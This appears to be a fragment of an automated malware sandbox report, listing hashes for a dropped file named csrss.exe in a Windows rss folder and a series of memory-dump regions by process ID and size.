SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
-
\Windows\rss\csrss.exeMD5
ce5e901fe35f98407ed9dbecc53f2069
SHA19752f3265efcfa1c9bdd12875cbf9794d33c9ea4
SHA2564a7a38302fddb6caa7d4c380fb14cda9c57bdd2f1b7c97fb88d155fab76d63df
SHA512c36cc4369bedbeeeba5b795887dc22b93512c1aac09bb1700522e5766480514e24e1ddc88b3f179e0b7a5a5c186e33924e884376c81251e07f6a1d201a020aea
-
\Windows\rss\csrss.exeMD5
ce5e901fe35f98407ed9dbecc53f2069
SHA19752f3265efcfa1c9bdd12875cbf9794d33c9ea4
SHA2564a7a38302fddb6caa7d4c380fb14cda9c57bdd2f1b7c97fb88d155fab76d63df
SHA512c36cc4369bedbeeeba5b795887dc22b93512c1aac09bb1700522e5766480514e24e1ddc88b3f179e0b7a5a5c186e33924e884376c81251e07f6a1d201a020aea
-
memory/308-0-0x00000000049D0000-0x0000000004D76000-memory.dmpFilesize
3.6MB
-
memory/308-2-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
-
memory/308-1-0x0000000004D80000-0x0000000004D91000-memory.dmpFilesize
68KB
-
memory/324-6-0x0000000000000000-mapping.dmp
-
memory/576-5-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
-
memory/576-4-0x0000000004C90000-0x0000000004CA1000-memory.dmpFilesize
68KB
-
memory/576-3-0x00000000048E0000-0x0000000004C86000-memory.dmpFilesize
3.6MB
-
memory/880-7-0x0000000000000000-mapping.dmp
-
memory/956-32-0x000007FEF7040000-0x000007FEF72BA000-memory.dmpFilesize
2.5MB
-
memory/1336-13-0x0000000004BE0000-0x0000000004BF1000-memory.dmpFilesize
68KB
-
memory/1336-12-0x0000000004830000-0x0000000004BD6000-memory.dmpFilesize
3.6MB
-
memory/1336-10-0x0000000000000000-mapping.dmp